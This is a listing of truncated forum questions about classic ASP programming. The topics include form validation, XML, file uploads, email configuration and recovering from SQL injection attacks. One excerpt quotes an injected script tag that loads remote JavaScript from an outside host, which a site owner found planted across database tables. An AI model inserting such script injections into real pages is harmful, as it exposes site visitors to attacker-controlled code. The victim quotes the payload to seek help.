I'm trying to call a vbscript function from inside Javascript. Is that possible.?
The reason for this is, if the user clicks the "Update" button it goes through some javascript validation...
Hi,
I have inherited an (old) ASP site (I'm a perl/c/Java programmer). The database on the backend (SQL 2005) was compromised by what I believe was SQL injection. The hacker put in a stri...
Please indicate how to correct checking of form input, by using a RegExp that is proposed by jurgenl in the SQL attack question of http://www.experts-exchange.com/Security/Vulnerabilities/Q_23...
Hello Experts,
I have situation where I need to store department id and its name to the xml file from the posted data.
<select name="lstDept">
<option value="" id="">ALL</option>
<opti...
I am wondering if it is possible to create an asp script (classic or .NET) that a user can browse their computer for an excel sheet and submit it for upload to a SQL 2005 database. I am needin...
Hi,
This is my third posting for problems with a hacker messing around with some old ASP code I have inherited. As I've mentioned before I'm a programmer but not an ASP one, and I'm trying t...
I have the following statement in my ASP page:
<a href="DownloadFile.asp?File=<%= Server.URLEncode(myFile.Name) %>"><% Response.Write myFile.Name %></a>
On clicking the link, the code on...
I have a button on a page which is associated with a text box. After entering the data in the text box.. I would like to fire the button click event as Submit even also when we hit enter. How...
I got this error when running my program. The strange thing about this error is there isn't a DateAdd piece of code in the code. The other strange thing is when I tested the program for all ...
Hi,
I am using FPDF with ASP to try and generate a PDF file, but I want the PDF file to generate based on user imput. I've created a separate form that submits to the code below, however wh...
does anything wrong with this code?
if email2=email and ad2=ad t hen
response.Redirect("http://www.yahoo.com")
end if
I'm trying to do a Replace on a basic string and then run that through a RegEx to only allow for specific characters before dumping to DB. I'm using "jack" 'jack' in the fname field when sub...
I need to request part of a path file name with the querystring from both asp and asp.net pages.
Path example1..
http://www.site.com/applic/something/other.asp?sec=3
I need to return fr...
Hi,
I have a Flash component driven by XML records. You can see what it's doing here:
http://www.jokesnob.com/project_portfolio.asp
One of the requests from the client is to be able t...
Im after some examples of a login pages where depending on the users admin level they get directed to either the admin page or the user page if login details are correct. Im using ASP VBScript...
I wrote a script to read and format an XML feed. I was working great for a while. I am not sure what changed, but now I am getting an error:
Object required: 'XMLRoot'
/NBAStandingsTemp.asp,...
Hi Experts,
I am developing an ASP/Access booking system in danish.
Using iso-8859-1 charset all pages display æøå as intended, but when I send the data to my asp popup editing page via...
Hi, I am very new to ASP and a lot more comfortable with PHP so ASP is seeming rather alien to me!
I'm trying to insert one piece of data into an SQL Server 2000 database.
Can anyone see...
I have a situation where I need to query xml results, fetch specific node value and append it to
the text file, I have most of the script doing this task, however, I have an extra mod conditi...
Hello. I have attached code...
I defined SendUsing method to 2 and I defined all other variables. But I get this error:
The "SendUsing" configuration value is invalid.
And also my Maile...
Hello Experts. This is a very urgent question. I am currently developing a classic ASP-based page that pulls data off an AS400 system (pulling anywhere from 100-300 records) using an ODBC co...
I have some code that I found on another post that validates an employee's user ID and password.
I know that a field called employeeID was added to our Active Directory.
What I need to do is...
My website has suffered an attack with the following code being posted to a large number of database tables:
<script src=http://www.killpp.cn/k.js></script>
It appears they gained access to ...
hi,
i have three pages; pageA, pageB and PageC
in pageA i have a link that onclick it calls a javascript funtion to do a xmlhttp procedure to a asp pageB to set a session variable and th...
I've found plenty of forced .csv download here on EE, but my client wants the warm fuzzy of an actual link that downloads the .csv file. Obviously a simple a href doesn't work. How does one ha...